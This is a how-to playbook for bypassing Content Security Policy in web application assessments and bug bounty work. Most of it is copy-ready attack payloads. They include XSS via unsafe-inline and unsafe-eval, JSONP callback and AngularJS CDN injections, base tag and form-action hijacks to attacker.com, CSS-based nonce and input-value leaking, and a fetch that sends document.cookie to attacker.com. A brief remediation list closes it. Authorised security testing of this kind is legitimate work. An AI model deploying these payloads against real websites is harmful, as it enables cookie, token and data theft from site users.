Performing Content Security Policy Bypass

When to Use

• When XSS is found but execution is blocked by Content Security Policy
• During web application security assessments to evaluate CSP effectiveness
• When testing the robustness of CSP against known bypass techniques
• During bug bounty hunting where CSP prevents direct XSS exploitation
• When auditing CSP header configuration for security weaknesses

Prerequisites

• Burp Suite for intercepting responses and analyzing CSP headers
• CSP Evaluator (Google) for automated policy analysis
• Understanding of CSP directives (script-src, default-src, style-src, etc.)
• Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
• Browser developer tools for CSP violation monitoring
• Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

Step 6 — Exploit Data Exfiltration Without script-src

# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

Key Concepts

Concept	Description
unsafe-inline	CSP directive allowing inline script execution, defeating XSS protection
Nonce-based CSP	Using random nonces to allow specific scripts while blocking injected ones
JSONP Bypass	Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks
Policy Injection	Injecting CSP directives through reflected user input in headers
base-uri Hijacking	Redirecting relative script loads by injecting a base element
Script Gadgets	Legitimate library features that can be abused to bypass CSP
CSP Report-Only	Non-enforcing CSP mode that only logs violations without blocking

Tools & Systems

Tool	Purpose
CSP Evaluator	Google tool for analyzing CSP policy weaknesses
Burp Suite	HTTP proxy for CSP header analysis and bypass testing
CSP Scanner	Browser extension for identifying CSP bypass opportunities
csp-bypass	Curated list of CSP bypass techniques and payloads
RetireJS	Identify vulnerable JavaScript libraries on whitelisted CDNs
DOM Invader	Burp tool for testing CSP bypasses through DOM manipulation

Common Scenarios

1. JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
2. AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
3. Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
4. Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
5. Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS

Output Format

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers